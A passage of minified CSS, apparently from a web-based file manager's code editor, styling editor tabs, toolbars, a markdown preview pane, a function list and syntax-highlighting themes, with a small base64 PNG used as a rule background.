right,#fff,#ccc);}.edit-tab .tabs .tab.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit-tab .tabs .tab.this{z-index:20;color:#23B2EC;color:#fff;background:#63acff;background:linear-gradient(to right,#44abf6,#2865e2);}.edit-tab .tabs .tab.this .close{opacity:0.1;filter:alpha(opacity=10);color:#eee;}.edit-tab .tabs .tab.this .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit-tab .tabs .tab.this .close:active{opacity:1.0;filter:alpha(opacity=100);color:#fff;}.edit-tab .tabs .tab.this.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit-tab .tabs .tab.loading .close{opacity:1.0;filter:alpha(opacity=100);color:#666;border-radius:20px;-webkit-animation:moveCircleLoop 1.4s infinite linear;animation:moveCircleLoop 1.4s infinite linear;}.edit-tab .tabs .tab.loading .close:before{content:"\f110";}.edit-tab .tabs .tab.loading.this .close{color:#ffffff;}.edit-tab .tabs .tab.loading.hover .close{opacity:1.0;filter:alpha(opacity=100);}.edit-tab .tabs .add{float:left;color:#666;line-height:25px;height:30px;border:1px solid #ddd;border-bottom:none;border-radius:3px 3px 0 0;font-size:8px;margin-top:2px;padding:0px 10px;background:#eee;margin-left:3px;}.edit-tab .tabs .add:hover{background:#ddd;}.edit-tab .tabs .add:active{background:#888;color:#ccc;}.draggable-dragging{position:absolute;z-index:99999;color:#fff;height:30px;line-height:30px;opacity:0.6;filter:alpha(opacity=60);width:120px;float:left;cursor:-webkit-grab;background:#63acff;background:linear-gradient(to right,#44abf6,#2865e2);}.draggable-dragging .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.draggable-dragging .name img{height:17px;padding-bottom:4px;padding-right:3px;}.draggable-dragging .close{display:none;}.edit-body{width:100%;background:#fff;position:absolute;bottom:0;top:59px;z-index:50;}.edit-body .tabs{width:100%;height:100%;position:absolute;top:0px;bottom:0;}.edit-body .tabs .edit-content{display:none;padding:0;margin:0;height:100%;width:100%;}.edit-body .tabs .edit-content.this{display:block;padding:0;}.edit-body .tabs .tab{padding:10px;display:none;}.edit-body .bottom-toolbar{width:auto;height:25px;z-index:25;position:absolute;bottom:5px;right:0;margin-right:20px;border-radius:4px;opacity:0.8;filter:alpha(opacity=80);background:#fafafa;border:1px solid #f3f3f3;}.edit-body .bottom-toolbar a{float:left;padding:0 10px;line-height:25px;text-decoration:none;color:#000;}.edit-body .bottom-toolbar a:hover{color:#63acff;background:rgba(200,200,200,0.1);}.edit-body .bottom-toolbar a.select{background:#63acff;color:#fff;border-radius:1px;}.edit-body .bottom-toolbar a .font-icon{color:#333;}.introduction{font-size:1em;position:fixed;width:100%;top:59px;left:0;bottom:0;overflow:auto;background:#FFF;z-index:99999;}.introduction .close-item{position:fixed;right:0px;margin:10px 20px 0 0;}.introduction .intro-left{width:40%;float:left;}.introduction .tips{padding:5px;margin-bottom:0;color:#888;}.introduction .tips p{padding-left:2em;word-break:break-all;line-height:1.2em;}.introduction .tips p:before{content:"\f006";font-family:FontAwesome;padding-right:8px;}.introduction .tips h1{font-size:25px;font-weight:400;border-bottom:1px dashed #ddd;padding:4px 0 10px 5px;margin:5px 0 10px 10px;}.introduction .tips h1 span{border-bottom:3px solid #ddd;padding:8px;color:#666;}.introduction pre{margin-left:15px;padding:5px;color:#56A238;line-height:1.5em;background:#fff;border-bottom:1px solid #eee;}.introduction .intro-right{width:60%;float:left;}.introduction .blue{color:#8BB7D5;}.introduction .blue h1 span{border-color:#8BB7D5;color:#8BB7D5;}.introduction .orange{color:#F27642;}.introduction .orange h1 span{color:#F27642;border-color:#F27642;}.introduction .green{color:#56A238;border-left:1px solid #ddd;}.introduction .green h1 span{color:#56A238;border-color:#56A238;}div.tools{height:28px;z-index:999;border-bottom:1px solid #ddd;overflow:hidden;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;min-width:560px;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}div.tools .disable-mask{width:90%;height:32px;margin-left:-10px;background:#fff;right:100px;position:absolute;opacity:0.4;filter:alpha(opacity=40);z-index:10;margin-top:-4px;}div.tools .left{float:left;margin:0 0 0 5px;}div.tools .right{float:right;margin:0 5px 0 0;}div.tools a{font-size:1.25em;font-weight:800;float:left;color:#555;font-weight:400;text-decoration:none;padding:0px 9px;line-height:29px;height:29px;}div.tools a .font-icon{font-size:14px;color:#888;}div.tools a .icon-caret-down{padding-left:5px;font-size:1em;color:ccc;}div.tools a:hover{background:#eee;}div.tools a.select,div.tools a.select:hover,div.tools a:active{background:#63acff;color:#fff;}div.tools a.select i.font-icon,div.tools a.select:hover i.font-icon,div.tools a:active i.font-icon{color:#fff;}div.tools .right .btn{padding:1px 7px;margin-right:-1px;height:20px;background:#eee;margin-top:2px;float:right;line-height:20px;}div.tools .line{border-left:1px solid #ccc;margin:5px 4px;float:left;height:16px;}ul.dropbox{color:#666;font-size:1em;position:absolute;top:27px;z-index:1000;margin:0px;}ul.dropbox li{list-style:none;padding:2px 0 2px 10px;line-height:20px;cursor:pointer;}ul.dropbox .lihover,ul.dropbox li.this{background:#63acff;color:#fff;}#fontsize{display:none;left:166px;width:100px;min-width:100px;}#codetheme{display:none;left:173px;}body div#ace_settingsmenu,body div#kbshortcutmenu{background-color:#000;opacity:0.75;filter:alpha(opacity=75);color:#FFF;box-shadow:-5px 4px 5px rgba(0,0,0,0.2);-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}.edit-content .resize{position:absolute;background:#000;cursor:col-resize;margin-left:-5px;background-color:#f6f6f6;background-color:rgba(0,0,0,0.01);background:url("../../../images/common/resize.png") 0px 50% no-repeat;height:100%;width:10px;left:100%;z-index:100;}.edit-content .resize:hover{background-color:#eee;background-color:rgba(0,0,0,0.1);}.edit-content .resize.resize-active{background-color:#ddd;background-color:rgba(0,0,0,0.2);}.edit-content.markdown-full .ace_editor{width:100% !important;}.edit-content.markdown-full .resize{display:none;}.edit-content.markdown-full .edit-right-frame{width:0 !important;}.edit-right-frame{position:fixed;top:59px;right:0px;width:40%;bottom:0;background:#fff;border-left:1px solid #ddd;z-index:99;overflow:visible;}.edit-right-frame .mask-view{z-index:9999;opacity:0.05;filter:alpha(opacity=5);}.edit-right-frame .right-main{width:100%;height:100%;overflow:auto;}.edit-right-frame .preview-frame{position:absolute;top:0px;right:0;bottom:0;width:100%;background:#fff;}.edit-right-frame .preview-markdown-tool,.edit-right-frame .function-list-tool,.edit-right-frame .preview-url-tool{width:100%;height:25px;border-bottom:1px solid #ddd;}.edit-right-frame .preview-markdown-tool .box,.edit-right-frame .function-list-tool .box,.edit-right-frame .preview-url-tool .box{width:105px;height:25px;position:absolute;top:0px;right:0px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit-right-frame .preview-markdown-tool .box a,.edit-right-frame .function-list-tool .box a,.edit-right-frame .preview-url-tool .box a{font-weight:800;text-decoration:none;border:1px solid rgba(200,200,200,0.01);display:inline-block;margin-top:1px;margin-left:2px;font-size:1.25em;position:relative;padding:0px 5px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit-right-frame .preview-markdown-tool .box a .font-icon,.edit-right-frame .function-list-tool .box a .font-icon,.edit-right-frame .preview-url-tool .box a .font-icon{color:#999;}.edit-right-frame .preview-markdown-tool .box a:hover,.edit-right-frame .function-list-tool .box a:hover,.edit-right-frame .preview-url-tool .box a:hover{border:1px solid #ccc;box-shadow:0 0 20px rgba(0,0,0,0.2) inset;}.edit-right-frame .preview-url-frame .preview-frame-content{position:absolute;right:0px;left:0px;bottom:0px;overflow:auto;top:25px;background:#fff;}.edit-right-frame .preview-url-frame .input-content{position:absolute;height:27px;right:100px;left:0px;}.edit-right-frame .preview-url-frame .input-content input{height:23px;border:none;border-right:1px solid #ddd;width:100%;padding-right:10px;text-shadow:1px 1px 3px #CCE;outline:none;color:#888;font-size:1.15em;box-shadow:#ddd 0px 0px 30px inset;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.edit-right-frame .preview-url-frame .input-content input:focus{box-shadow:#bbb 0px 0px 30px inset;}.edit-right-frame .preview-url-frame .box{border-left:1px solid #eee;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool{border:none;height:inherit;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool i.icon-columns:before{content:"\f070";}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box{position:absolute;bottom:0.1px;-webkit-transform:translateZ(0);z-index:999;top:20px;right:25px;background:rgba(200,200,200,0.2);opacity:0.6;filter:alpha(opacity=60);width:35px;height:140px;border:none;border-radius:0;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box .content{position:absolute;width:35px;top:0;left:0;height:100%;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box:hover{opacity:0.9;filter:alpha(opacity=90);}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box a{margin:0;padding:0;display:block;text-align:center;height:35px;border:none;line-height:35px;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box a .font-icon{color:#444;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box a:hover{border:none;background:#bbb;color:#000;box-shadow:none;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box a:hover .font-icon{color:#222;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar{position:fixed;bottom:0.1px;z-index:999;-webkit-transform:translateZ(0);height:29px;margin-top:5px;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;left:420px;width:560px;top:-6px;border-left:1px solid #ddd;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar .content{position:absolute;top:0;left:0;height:100%;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar .md-tools{width:26px;height:100%;display:inline-block;text-decoration:none;text-align:center;margin:0;line-height:30px;float:left;padding:0;color:#666;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar .md-tools:hover{background:#ccc;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar .md-tools.md-tools-split{width:10px;color:#ccc;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar .md-tools.md-tools-split:hover{background:none;}.edit-right-frame .preview-markdown-frame .markdown-preview{padding:10px 35px 100px 35px;}.edit-right-frame .preview-markdown-frame .markdown-help{width:650px;background:#fff;height:80%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:absolute;top:20px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit-right-frame .preview-markdown-frame .markdown-help h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:20px;}.edit-right-frame .preview-markdown-frame .markdown-help .content{height:100%;overflow:auto;margin:10px;padding-bottom:20px;margin-right:0;}.edit-right-frame .preview-markdown-frame .markdown-help p{margin:0;}.edit-right-frame .preview-markdown-frame .markdown-help h5{font-weight:800;}.edit-right-frame .preview-markdown-frame .markdown-help pre{border-radius:4px;background:#eee;color:#777;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace, 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;font-size:12px;}.edit-right-frame .preview-markdown-frame .markdown-help .col-md-4{width:35%;padding-bottom:70px;}.edit-right-frame .preview-markdown-frame .markdown-menu-box{width:300px;background:#fff;height:80%;max-height:90%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:absolute;top:20px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit-right-frame .preview-markdown-frame .markdown-menu-box h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:22px;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .content{height:100%;overflow:auto;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu ul{padding:10px 10px 80px 10px;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu li{font-size:1em;list-style:none;text-overflow:ellipsis;white-space:nowrap;line-height:1.0em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu li a{display:block;text-decoration:none;padding:5px 6px;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu li a:hover{background:#def;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu-h2{margin-left:2em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu-h3{margin-left:3.5em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu-h4{margin-left:5em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu-h5{margin-left:6.5em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu-h6{margin-left:8em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .tools-markdown-more{position:absolute;top:20px;right:10px;}.edit-right-frame .preview-markdown-frame .markdown-setting{width:160px;height:auto;background:#fff;border:1px solid #ddd;z-index:10;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:absolute;top:125px;right:60px;-webkit-transform:translateZ(0);}.edit-right-frame .preview-markdown-frame .markdown-setting ul{padding:0;margin:10px 0;}.edit-right-frame .preview-markdown-frame .markdown-setting ul li{width:100%;height:25px;list-style:none;overflow:hidden;}.edit-right-frame .preview-markdown-frame .markdown-setting ul li.line{height:1px;background:#ddd;margin:5px 0;}.edit-right-frame .preview-markdown-frame .markdown-setting ul a,.edit-right-frame .preview-markdown-frame .markdown-setting ul a:visited{display:block;line-height:25px;text-decoration:none;padding:0 0 0 20px;color:#444;overflow:hidden;}.edit-right-frame .preview-markdown-frame .markdown-setting ul a i{padding-right:5px;color:#888;width:14px;display:inline-block;}.edit-right-frame .preview-markdown-frame .markdown-setting ul a:hover{background:#63acff;color:#fff;}.edit-right-frame .preview-markdown-frame .markdown-setting ul a:hover i{color:#fff;}.edit-right-frame .function-list .function-list-tool{height:100px;width:100%;}.edit-right-frame .function-search{position:absolute;top:30px;left:0;height:25px;right:5px;}.edit-right-frame .function-search input{padding:3px 2%;color:#222;margin:0 3%;width:90%;border-radius:3px;}.edit-right-frame .function-search .search-reset{position:absolute;top:5px;right:5%;font-size:1.25em;color:#aaa;display:block;cursor:pointer;}.edit-right-frame .function-search .search-reset:hover{color:#888;}.edit-right-frame .frame-right .function-list-parent{top:57px;}.edit-right-frame .function-list-box .cell b{color:#378eef;}.edit-right-frame .function-list-box .row-select .cell b{color:#ff9;}.edit-right-frame .function-list-tool{border:none;}.edit-right-frame .function-list-tool .box{width:100%;right:0px;overflow:hidden;background:#fff;}.edit-right-frame .function-list-tool .box span{display:block;padding:1px 10px;float:left;line-height:27px;}.edit-right-frame .function-list-tool .box a{display:block;float:right;margin-right:5px;}.edit-right-frame .function-list-parent{position:absolute;top:55px;right:0;bottom:15px;width:100%;background:#fff;}.edit-right-frame .function-list-box{padding:5px;-webkit-text-size-adjust:none;overflow:auto;margin-right:2px;height:100%;}.edit-right-frame .function-list-box .row-hover{background:#ddd;border-radius:3px;}.edit-right-frame .function-list-box .row-select{background:#63acff;color:#fff;border-radius:3px;}.edit-right-frame .function-list-box .cell-null{padding:10px 5px;color:#999;text-align:center;}.edit-right-frame .function-list-box .list-row{padding:2px 5px;cursor:default;font-family:Tahoma, Arial;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;}.edit-right-frame .function-list-box .list-row.row-hover{background:#ddd;border-radius:3px;}.edit-right-frame .function-list-box .list-row.row-select{background:#63acff;color:#fff;border-radius:3px;}.edit-right-frame .function-list-box .list-row .icon{font-family:FontAwesome;font-style:normal;width:20px;display:inline-block;text-decoration:inherit;font-size:10px;-webkit-transform:scale(0.8,0.8);transform:scale(0.8,0.8);}.edit-right-frame .function-list-box .list-row span{cursor:default;}.edit-right-frame .function-list-box .list-row.mark .icon{color:#666;}.edit-right-frame .function-list-box .list-row.mark .icon:before{content:"\f005";}.edit-right-frame .function-list-box .list-row.mark,.edit-right-frame .function-list-box .list-row.class{background:#eee;font-weight:800;border-radius:3px;}.edit-right-frame .function-list-box .list-row.mark.row-select,.edit-right-frame .function-list-box .list-row.class.row-select{color:#fff;background:#63acff;}.edit-right-frame .function-list-box .list-row.row-select .icon{color:#fff !important;}.edit-right-frame .function-list-box .list-row.class .icon{color:#888;}.edit-right-frame .function-list-box .list-row.class .icon:before{content:"\f0c9";}.edit-right-frame .function-list-box .list-row.function .icon{color:#378eef;}.edit-right-frame .function-list-box .list-row.function .icon:before{content:"\f111";}.edit-right-frame .function-list-box .list-row.function-define .icon{color:#98c878;}.edit-right-frame .function-list-box .list-row.function-value .icon{color:#ffb16d;}.edit-right-frame .function-list-box .list-row.function-var .icon{color:#008641;}.share-page-passowrd{margin:0 auto;width:220px;height:120p;margin-top:17%;border:1px solid #ddd;border-top:3px solid #666;padding:40px;border-radius:5px;background:#f6f6f6;}.share-page-passowrd b{font-size:20px;display:block;margin-bottom:20px;}.share-page-passowrd input{height:32px;display:inline-block;width:150px;padding:0px 5px;margin-right:10px;margin-bottom:10px;}.share-page-error{margin:0 auto;width:400px;margin-top:17%;border:1px solid #eee;padding:30px;border-radius:5px;background:#f6f6f6;font-size:1.25em;}.share-page-error b{font-size:25px;display:block;margin-bottom:20px;}.edit-content.markdown-full-page pre.ace_editor{width:100% !important;}.edit-content.markdown-full-page .resize{display:none;}.edit-content.markdown-full-page .edit-right-frame{top:0px;left:-1px;right:0;width:100% !important;bottom:0;}.edit-content.markdown-full-page .edit-right-frame .right-main{width:100% !important;}.edit-content.markdown-full-page .edit-right-frame .display-markdown{width:100% !important;background:none;}.edit-content.markdown-full-page .edit-right-frame .markdown-preview{width:80%;padding:50px 0;}.edit-content.markdown-full-page .edit-right-frame i.icon-resize-full:before{content:"\f066";}.edit-content.markdown-full-page .edit-right-frame .preview-markdown-tool .toolbar{width:80%;left:10%;border:none;border-bottom:1px solid #ddd;background:rgba(240,240,240,0.5);display:none;}.edit-content.markdown-full-page .edit-right-frame .preview-markdown-tool a[markdown-action="tool-markdown-full"]{pointer-events:none;}.edit-content.markdown-full-page .edit-right-frame .preview-markdown-tool a[markdown-action="tool-markdown-full"] i.font-icon{color:#ccc !important;}.edit-content.markdown-full a[markdown-action=tool-markdown-max]{display:none;pointer-events:none;}.edit-content.markdown-full a[markdown-action=tool-markdown-max] i.font-icon{color:#ccc !important;}.edit-content.markdown-full .preview-markdown-tool i.icon-columns:before{content:"\f06e";}.markdown-preview{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;text-align:justify;margin:auto;font-size:13px;line-height:1.6em;color:#555;}.markdown-preview article,.markdown-preview footer,.markdown-preview header,.markdown-preview nav{margin:0 auto;}.markdown-preview article{margin-top:4em;margin-bottom:4em;min-height:400px;}.markdown-preview footer{margin-bottom:50px;}.markdown-preview video{margin:2em 0;border:1px solid #ddd;}.markdown-preview nav{font-size:.9em;font-style:italic;border-bottom:1px solid #ddd;padding:1em 0;}.markdown-preview nav p{margin:0;}.markdown-preview details{margin:15px 0;}.markdown-preview summary{cursor:pointer;padding:4px;}.markdown-preview summary:focus{outline:none;box-shadow:0 0 3px #2196F3;}.markdown-preview .h1,.markdown-preview h1{font-size:2.2em;}.markdown-preview .h2,.markdown-preview h2{font-size:1.8em;}.markdown-preview .h3,.markdown-preview h3{font-size:1.6em;}.markdown-preview .h4,.markdown-preview h4{font-size:1.3em;}.markdown-preview .h5,.markdown-preview h5{font-size:1.2em;}.markdown-preview .h6,.markdown-preview h6{font-size:1.1em;}.markdown-preview .h1,.markdown-preview .h2,.markdown-preview .h3,.markdown-preview .h4,.markdown-preview .h5,.markdown-preview .h6,.markdown-preview h1,.markdown-preview h2,.markdown-preview h3,.markdown-preview h4,.markdown-preview h5,.markdown-preview h6{font-family:inherit;font-weight:500;color:#333;line-height:1.2em;padding:0.3em 0;margin:0.8em 0 0.4em 0;word-break:break-all;}.markdown-preview .h1,.markdown-preview h1{letter-spacing:1px;border-bottom:1px solid #ddd;}.markdown-preview .h2,.markdown-preview h2{padding-bottom:0.15em;}.markdown-preview p{-webkit-hypens:auto;-moz-hypens:auto;hyphens:auto;margin:10px 0;}.markdown-preview p,.markdown-preview li,.markdown-preview div,.markdown-preview ul{word-wrap:break-all;}.markdown-preview blockquote{margin-left:1em;padding:10px 15px;margin:10px 0 20px 0;border-left:10px solid #ddd;background:#f6f6f6;}.markdown-preview blockquote p{margin:0;font-weight:400;}.markdown-preview code{padding:2px 4px;color:#c7254e;background-color:#f9f2f4;border-radius:4px;}.markdown-preview pre{display:block;padding:0;overflow:auto;margin:0 0 10px;font-size:1em;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#333;background:none;border-radius:4px;}.markdown-preview code,.markdown-preview kbd,.markdown-preview pre,.markdown-preview samp{font-family:Consolas, 'Liberation Mono', 'Ubuntu Mono', Menlo, Courier, sans-serif;}.markdown-preview pre code{background:#f8f8f8;color:#777;white-space:pre-wrap;padding:6px 1em;border:1px solid #eee;display:block;}.markdown-preview a{color:#1980e6;text-decoration:none;}.markdown-preview a:hover{text-decoration:underline;}.markdown-preview a img{border:none;}.markdown-preview img{max-width:100%;}.markdown-preview h1 a,.markdown-preview h1 a:hover{text-decoration:none;}.markdown-preview hr{border:0 none;height:4px;margin:1.2em 0;background:rgba(0,0,0,0) url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;}@media screen and (min-width:900px){.markdown-preview body{ width:900px;}}.markdown-preview ul,.markdown-preview ol{padding:0.2em 0 0.2em 2em;}.markdown-preview table{border-collapse:collapse;border-spacing:0;margin-bottom:20px;}.markdown-preview table thead{background:#eee;}.markdown-preview table td,.markdown-preview table th{padding:.5em;border:1px solid #ddd;line-height:1.5;}.markdown-preview .markdown-flow{background:#fff;padding:15px;}.markdown-preview .markdown-flow .label{color:#444;}.markdown-preview .markdown-latex{text-align:center;font-size:1.3em;color:#000;margin-bottom:1.5em;overflow:hidden;overflow-x:auto;}.markdown-preview .latex-inline .katex-display{display:inline-block;font-size:0.8em;}.markdown-preview .markdown-menu ul{padding:0 10px 20px 20px;}.markdown-preview .markdown-menu li{font-size:14px;list-style:none;line-height:1.8em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.markdown-preview .markdown-menu-h2{padding-left:2em;}.markdown-preview .markdown-menu-h3{padding-left:4em;}.markdown-preview .markdown-menu-h4{padding-left:6em;}.markdown-preview .markdown-menu-h5{padding-left:8em;}.markdown-preview .markdown-menu-h6{padding-left:10em;}.markdown-preview div .hljs{color:#666;}.markdown-preview .hljs-comment,.markdown-preview .hljs-quote{color:#998;font-style:italic;}.markdown-preview .hljs-keyword,.markdown-preview .hljs-selector-tag,.markdown-preview .hljs-subst{color:#333;font-weight:700;}.markdown-preview .hljs-literal,.markdown-preview .hljs-number,.markdown-preview .hljs-tag .hljs-attr,.markdown-preview .hljs-template-variable,.markdown-preview .hljs-variable{color:teal;}.markdown-preview .hljs-doctag,.markdown-preview .hljs-string{color:#d14;}.markdown-preview .hljs-section,.markdown-preview .hljs-selector-id,.markdown-preview .hljs-title{color:#900;font-weight:700;}.markdown-preview .hljs-subst{font-weight:400;}.markdown-preview .hljs-class .hljs-title,.markdown-preview .hljs-type{color:#458;font-weight:700;}.markdown-preview .hljs-attribute,.markdown-preview .hljs-name,.markdown-preview .hljs-tag{color:navy;font-weight:400;}.markdown-preview .hljs-meta,.markdown-preview .hljs-strong{font-weight:700;}.markdown-preview .hljs-link,.markdown-preview .hljs-regexp{color:#009926;}.markdown-preview .hljs-bullet,.markdown-preview .hljs-symbol{color:#990073;}.markdown-preview .hljs-built_in,.markdown-preview .hljs-builtin-name{color:#0086b3;}.markdown-preview .hljs-meta{color:#999;}.markdown-preview .hljs-deletion{background:#fdd;}.markdown-preview .hljs-addition{background:#dfd;}.markdown-preview .hljs-emphasis{font-style:italic;}.code-theme-black .markdown-preview{background:#333;color:#bbb;}.code-theme-black .markdown-preview blockquote{border-color:#555;background:#444;}.code-theme-black .markdown-preview pre,.code-theme-black .markdown-preview code,.code-theme-black .markdown-preview pre code{color:#777;border-color:#444;background:#444;}.code-theme-black .markdown-preview code{color:#C5AC18;background:#555;background:rgba(255,255,255,0.15);}.code-theme-black .markdown-preview a{color:#FFA500;}.code-theme-black .markdown-preview hr{border-bottom:1px solid #444;background-image:none;}.code-theme-black .markdown-preview .h1,.code-theme-black .markdown-preview .h2,.code-theme-black .markdown-preview .h3,.code-theme-black .markdown-preview .h4,.code-theme-black .markdown-preview .h5,.code-theme-black .markdown-preview .h6,.code-theme-black .markdown-preview h1,.code-theme-black .markdown-preview h2,.code-theme-black .markdown-preview h3,.code-theme-black .markdown-preview h4,.code-theme-black .markdown-preview h5,.code-theme-black .markdown-preview h6{color:#fff;}.code-theme-black .markdown-preview .h1,.code-theme-black .markdown-preview h1{border-bottom:1px solid #666;}.code-theme-black .markdown-preview table thead{background:#3e3e3e;}.code-theme-black .markdown-preview table td,.code-theme-black .markdown-preview table th{border-color:#444;}.code-theme-black .markdown-preview .markdown-latex{color:#fff;}.code-theme-black .markdown-preview div .hljs{display:block;overflow-x:auto;padding:.5em;background:#23241f;}.code-theme-black .markdown-preview .hljs,.code-theme-black .markdown-preview .hljs-subst,.code-theme-black .markdown-preview .hljs-tag{color:#f8f8f2;}.code-theme-black .markdown-preview .hljs-emphasis,.code-theme-black .markdown-preview .hljs-strong{color:#a8a8a2;}.code-theme-black .markdown-preview .hljs-bullet,.code-theme-black .markdown-preview .hljs-link,.code-theme-black .markdown-preview .hljs-literal,.code-theme-black .markdown-preview .hljs-number,.code-theme-black .markdown-preview .hljs-quote,.code-theme-black .markdown-preview .hljs-regexp{color:#ae81ff;}.code-theme-black .markdown-preview .hljs-code,.code-theme-black .markdown-preview .hljs-section,.code-theme-black .markdown-preview .hljs-selector-class,.code-theme-black .markdown-preview .hljs-title{color:#a6e22e;}.code-theme-black .markdown-preview .hljs-strong{font-weight:700;}.code-theme-black .markdown-preview .hljs-emphasis{font-style:italic;}.code-theme-black .markdown-preview .hljs-attr,.code-theme-black .markdown-preview .hljs-keyword,.code-theme-black .markdown-preview .hljs-name,.code-theme-black .markdown-preview .hljs-selector-tag{color:#f92672;}.code-theme-black .markdown-preview .hljs-attribute,.code-theme-black .markdown-preview .hljs-symbol{color:#66d9ef;}.code-theme-black .markdown-preview .hljs-class .hljs-title,.code-theme-black .markdown-preview .hljs-params{color:#f8f8f2;}.code-theme-black .markdown-preview .hljs-addition,.code-theme-black 